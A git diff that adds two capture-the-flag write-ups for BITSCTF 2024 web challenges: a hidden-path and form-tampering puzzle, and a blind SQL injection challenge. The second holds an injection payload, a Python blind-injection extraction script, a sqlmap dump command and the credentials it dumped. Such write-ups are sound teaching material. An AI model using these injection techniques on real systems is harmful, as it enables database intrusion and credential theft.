diff --git a/BITSCTF-2024/web/Conquest/README.md b/BITSCTF-2024/web/Conquest/README.md new file mode 100644 index 0000000..e457121 --- /dev/null +++ b/BITSCTF-2024/web/Conquest/README.md @@ -0,0 +1,64 @@ +# Conquest + +Category: Web + +Solves: 62 + +### Given information + +> Our Mogambro is a lucid dreamer who has meticulously replicated one of his sessions in the form of the given website. Can you also complete the quest which Mogambro failed to do? + +> http://20.244.82.82:2913/ + +### Solution + +The website presents a puzzle: + +> Welcome Adventurer. You are about to take up on an impossible challenge. +> But first you gotta find the path that takes you to the arena + +`/robots.txt` returns: + +``` +User-Agent: * +Disallow: /tournament +``` + +Upon visiting `/tournament` we are presented with a leaderboard for what looks like a dragon slaying tournament, and another puzzle: + +![Dragon slayers leaderboard](./images/leaderboard.png) + +--- + +Eventually we reach `/tournament/humans.txt`. This page presents an HTML form with two form inputs which return "Too Slow. Try Again!" upon submit: + +- Hidden text field with the value set to `1582510775.828625` +- Submit button + +``` + + + [...] + + +

BEWARE! SLAY THE DRAGON IF YOU DARE!

+
+ + +
+ + +``` + +--- + +`1582510775.828625` is actually an [UNIX timestamp](https://en.wikipedia.org/wiki/Unix_time#Definition) that refers to `Mon Feb 24 07:49:35 AM IST 2020`, almost four years in the past. + +After providing various inputs to the `slay` form input such as: + +- negative numbers +- timestamps with micro (and milli) second offsets to `1582510775.828625` + +We are able to obtain the flag on sending an absurdly large number: `1e308`. + +Flag: `BITSCTF{7HE_r341_7r345Ur3_W45_7H3_Fr13ND5_W3_M4D3_410N6_7H3_W4Y}` diff --git a/BITSCTF-2024/web/Conquest/images/leaderboard.png b/BITSCTF-2024/web/Conquest/images/leaderboard.png new file mode 100644 index 0000000..ba99a3d Binary files /dev/null and b/BITSCTF-2024/web/Conquest/images/leaderboard.png differ diff --git a/BITSCTF-2024/web/README.md b/BITSCTF-2024/web/README.md new file mode 100644 index 0000000..e69de29 diff --git a/BITSCTF-2024/web/Too_Blind_To_See/README.md b/BITSCTF-2024/web/Too_Blind_To_See/README.md new file mode 100644 index 0000000..98fd66e --- /dev/null +++ b/BITSCTF-2024/web/Too_Blind_To_See/README.md @@ -0,0 +1,105 @@ +# Too Blind To See + +Category: Web + +Solves: 17 + +### Given information + +> Mogambro, our rookie intern, just stepped foot into the prestigious Software Firm. His big moment, the first project review, is knocking at the door like a pesky neighbor. But wait! Somewhere in his app lurks a secret which the admins are not aware of, hidden behind the password 'fluffybutterfly'. Can you crack the code and rescue Mogambro from this password puzzle? The clock is ticking! + +> http://20.244.82.82:7000/ + +### Solution + +The given link leads to a boilerplate shopping site which has three forms: + +- /login + - Form 1: User sign in + - API endpoint: `/welcome-homie` + - Form 2: Admin login + - API endpoint: `/yesyoudidit` +- Newsletter form at `/` + - API endpoint: `/final-destination` + +`/yesyoudidit` is found to be vulnerable to SQL injection using the payload: + +``` +' or 1=1;-- - +``` + +But all we get from it is a fake flag: + +![Fake flag](./images/fake_flag.png) + +--- + +The final endpoint `/final-destination` seems to be following the challenge name's footsteps as it's found to be vulnerable to Blind SQL injection. Inputting `' or 1=1;-- -` returns a JSON response containing the message "Email exists in the database" whereas any other normal input returns "Email does not exist in the database". + +Using the following script we are able to extract the following table names: `maillist` and `userdata`. + +``` +import requests +import json +import string + +charset = string.ascii_lowercase +print(charset) + +table_name = "" + +url = "http://20.244.82.82:7000/final-destination" + +headers = { + "Content-Type": "application/x-www-form-urlencoded", +} + +while True: + for c in charset: + payload = "email='%20union%20select%20null%2Cnull%20from%20sqlite_schema%20where%20name%20like%20'{}%25'--".format( + table_name + c + ) + + response = requests.request("POST", url, headers=headers, data=payload) + + r = json.loads(response.text) + + if r["exists"]: + print("\n", r) + table_name += c + print("Table name:", table_name) + break + else: + # print(c, r["exists"], end=" ") + print(".", end="", flush=True) +``` + +We utilise sqlmap to further extract the database contents: + +``` +sqlmap --level 5 --risk 3 -o -r burp_request.txt -p email --thread 10 --all +``` + +``` +Database: +Table: maillist +[1 entry] ++-----------------------------+-----------------+ +| email | password | ++-----------------------------+-----------------+ +| krazykorgaonkar@hotmail.com | fluffybutterfly | ++-----------------------------+-----------------+ + +Database: +Table: userdata +[1 entry] ++----+------------------+-----------+ +| id | password | username | ++----+------------------+-----------+ +| 2 | bxgcrVNmtUehpvgH | knowitall | ++----+------------------+-----------+ +``` + +We are then able to obtain the flag after logging in with the first set of credentials: `krazykorgaonkar@hotmail.com:fluffybutterfly`. + +Flag: `BITSCTF{5UB5Cr183r5_4r3_M0r3_7HAN_JU5T_C0N5UM3r5}` diff --git a/BITSCTF-2024/web/Too_Blind_To_See/images/fake_flag.png b/BITSCTF-2024/web/Too_Blind_To_See/images/fake_flag.png new file mode 100644 index 0000000..2b411eb Binary files /dev/null and b/BITSCTF-2024/web/Too_Blind_To_See/images/fake_flag.png differ